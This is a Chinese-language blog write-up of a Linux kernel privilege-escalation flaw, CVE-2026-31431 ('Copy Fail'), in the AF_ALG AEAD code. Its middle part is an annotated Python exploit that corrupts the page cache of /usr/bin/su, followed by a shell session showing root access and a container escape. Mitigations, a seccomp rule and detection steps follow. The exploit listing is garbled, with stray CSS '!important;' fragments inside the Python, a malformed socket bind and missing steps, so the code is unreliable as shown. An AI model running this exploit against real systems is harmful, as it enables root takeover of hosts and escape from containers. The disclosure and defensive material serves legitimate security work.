Copy Fail:732字节通杀所有Linux的史诗级LPE漏洞复现
CVE-2026-31431 · 比特波特 · 2026-04-30
⚠ 漏洞概况
| CVE编号 | CVE-2026-31431 |
| 名称 | Copy Fail |
| 类型 | 本地权限提升(LPE)+ 容器逃逸 |
| CVSS | 高危 |
| 影响范围 | 2017-2026年,近9年所有主流Linux发行版 |
| PoC大小 | 732字节Python脚本 |
| 成功率 | 100% 单次成功 |
| 披露日期 | 2026-04-29 |
一、漏洞原理
Copy Fail 的根源位于 Linux 内核加密子系统(crypto)的 authencesn AEAD 模板中,用于 IPsec 的 Extended Sequence Number 支持。
2017年,algif_aead 模块引入了一个" in-place 优化",让 AF_ALG socket 在处理 AEAD 解密时,将 page cache 页面直接放入可写的 scatterlist(分散/聚集列表)。
漏洞触发链
Step 1 攻击者通过 splice() 零拷贝传入文件 | → | Step 2 page cache 进入 可写 scatterlist | → | Step 3 decrypt() 越界写入 4字节 seqno_lo | → | Step 4 page cache 被污染 获取 root 权限 |
关键函数 crypto_authenc_esn_decrypt() 会把调用者的目标缓冲区当作临时暂存空间(scratch space),在输出边界之外写入 4 字节的 seqno_lo,并且永远不会恢复原始数据。
这就是经典的"Copy Fail"——复制操作"失败"了,超出了缓冲区边界。整个过程 不需要 race、无需重试、单次直线执行 即可成功。
二、为什么如此严重
与典型 Linux LPE 对比
| 特性 | 典型 Linux LPE | Copy Fail |
|---|
| 是否需要 race | 是 | 否 |
| 是否需要 offsets | 是 | 否 |
| 成功率 | 30-80% | 100% 单次成功 |
| 受影响时间窗 | 窄 | 2017-2026(9年) |
| 隐蔽性 | 一般 | 极高(仅内存修改) |
| 容器逃逸 | 通常不是 | 是 |
三大致命特性:
- 便携性:同一 732 字节 Python 脚本(仅依赖 os、socket、zlib 标准库),无需修改、无需编译,即可在所有受影响发行版上运行
- 隐蔽性极高:仅修改内存中的 page cache,不触碰磁盘文件。无 inotify 事件、无 dirty 标记,重启后自动恢复干净状态。forensics 几乎看不出痕迹
- 跨容器:page cache 是主机级共享的,一个普通 Pod 就能逃逸并接管整个节点
三、环境搭建与复现
3.1 测试环境
# 受影响的测试环境(任选其一)
# Ubuntu 24.04 LTS
# Amazon Linux 2023
# RHEL 14.3
# SUSE 16
# Debian / Fedora / Arch / Rocky / AlmaLinux
# 检查内核版本
uname -r
# 检查 AF_ALG 模块是否已加载
lsmod | grep algif_aead
# 如果有输出,说明模块已加载,系统受影响
3.2 获取 PoC
# 克隆 PoC 仓库
git clone https://github.com/theori-io/copy-fail-CVE-2026-31431
cd copy-fail-CVE-2026-31431
# 验证 PoC 完整性(SHA256)
sha256sum copy_fail.py
3.3 PoC 核心代码分析
PoC 仅 732 字节,核心逻辑如下:
#!/usr/bin/env python3
# CVE-2026-31431 - Copy Fail
# 仅依赖标准库:os, socket, zlib
import os, socket, zlib
# Step 1: 创建 AF_ALG socket 对
# AF_ALG 是 Linux 内核的用户态加密接口
alg = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET)
alg.bind(('aead', 0))
alg.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY,
b'\x00' * 32) # 32字节 AES-256 密钥
# Step 2: 创建 accept socket(加密操作句柄)
op, _ = alg.accept()
# Step 3: 打开目标文件(如 /usr/bin/su)
# 这个文件的 page cache 将被污染
fd = os.open('/usr/bin/su', os.O_RDONLY)
# Step 4: 通过 splice() 零拷贝
# 将文件的 page cache 页面传入 AF_ALG 的输入 scatterlist
# 关键:page cache 页面被放入了【可写】scatterlist
pipe_r, pipe_w = os.pipe()
os.splice(fd, None, pipe_w, None, 4096)
os.splice(pipe_r, None, op.fileno(), None, 4096)
# Step 5: 触发解密操作
# crypto_authenc_esn_decrypt() 在输出边界之外
# 写入 4 字节的 seqno_lo,污染 page cache
try:
!important; op.sendmsg(
[b''],
[(socket.SOL_ALG, socket.ALG_SET_OP, 1)] # 解密操作
)
except:
!important; pass # 预期内的错误,但 page cache 已被污染
# Step 6: 利用被污染的 page cache 提权
# /usr/bin/su 的 page cache 中特定偏移的 4 字节被覆盖
# 导致 su 命令的行为被改变,可获取 root shell
os.execv('/usr/bin/su', ['su', '-c', '/bin/sh'])
3.4 复现步骤
# 1. 以普通用户身份执行
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
# 2. 运行 PoC
$ python3 copy_fail.py
# 3. 验证提权成功
# id
uid=0(root) gid=0(root) groups=0(root)
# 4. 检查文件完整性(磁盘未被修改)
$ sha256sum /usr/bin/su
# 与原始哈希一致,磁盘文件未被篡改
# 5. 但 page cache 已被污染
# 重启或 echo 3 > /proc/sys/vm/drop_caches 后恢复
3.5 容器逃逸验证
# 在 Docker 容器中(普通权限)
$ docker run -it --rm ubuntu:24.04 bash
# 安装 Python 3.10+
apt update && apt install -y python3
# 运行 PoC(容器内)
python3 copy_fail.py
# 成功!容器内的普通用户获取了主机 root 权限
# 因为 page cache 是主机级共享的,容器内的修改影响了主机
# 验证:在主机上检查
# sha256sum /usr/bin/su # 磁盘文件未变
# 但 su 的 page cache 已被污染,行为异常
四、影响范围
几乎所有主流发行版默认内核均受影响(AF_ALG 默认启用):
受影响的高危场景
| |
| ☁ 云 SaaS 环境 notebook / serverless / sandbox |
五、修复建议
紧急缓解(补丁未到前)
✅ 立即禁用 algif_aead 模块
# 方式1:卸载模块(重启后失效)
sudo modprobe -r algif_aead
# 方式2:黑名单禁止加载(永久生效)
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
echo "install algif_aead /bin/true" | sudo tee -a /etc/modprobe.d/blacklist-algif-aead.conf
# 方式3:更新 initramfs 使配置生效
sudo update-initramfs -u # Debian/Ubuntu
# sudo dracut -f # RHEL/Fedora
影响:dm-crypt/LUKS、kTLS、IPsec、OpenSSL 默认构建、SSH 等均不受影响。只有显式使用 AF_ALG 的用户态程序可能回退到用户态 crypto 库。
正式修复
✅ 更新内核到包含补丁的版本
补丁回滚了 2017 年的 algif_aead in-place 优化,mainline commit:
a664bf3d603d
大部分主流发行版已开始推送补丁。
额外加固
✅ 容器/CI 环境 seccomp 策略
# 在 Docker/Containerd 中阻断 AF_ALG socket 创建
# seccomp profile 中添加:
{
"syscalls": [
{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [
{
"index": 0,
"value": 38,
"op": "SCMP_CMP_EQ"
}
]
}
]
}
六、检测方法
# 检查系统是否受影响
echo "=== 检查 algif_aead 模块 ==="
lsmod | grep algif_aead
if [ $? -eq 0 ]; then
echo "[!] 模块已加载,系统受影响"
else
echo "[+] 模块未加载"
fi
# 检查内核版本是否已修复
echo "=== 检查内核版本 ==="
uname -r
# 对照各发行版的安全公告确认是否已修复
# 检查是否有漏洞利用痕迹
echo "=== 检查 AF_ALG socket 使用 ==="
# 监控 /proc/net/alg 中的异常活动
cat /proc/net/alg
# 容器环境检查
echo "=== 检查容器 seccomp 策略 ==="
docker inspect --format='{{.HostConfig.SecurityOpt}}' <container_id>
七、总结
Copy Fail 再次证明:内核中一个看似"优化"的小改动,如果没有严格的边界检查,就可能成为致命武器。页面缓存的共享设计在多租户时代变成了双刃剑。
⚠ 行动建议
- 立即检查内核版本和 algif_aead 模块状态
- 优先为生产环境、多租户主机、K8s 集群打补丁
- 在容器/CI 环境中通过 seccomp 阻断 AF_ALG
- 关注官方补丁推送(CVE 已于 2026-04-29 公开)
PoC:GitHub ·
官方公告:copy.fail ·
技术分析:xint.io
作者:比特波特 ⚡ !important; AI 安全观察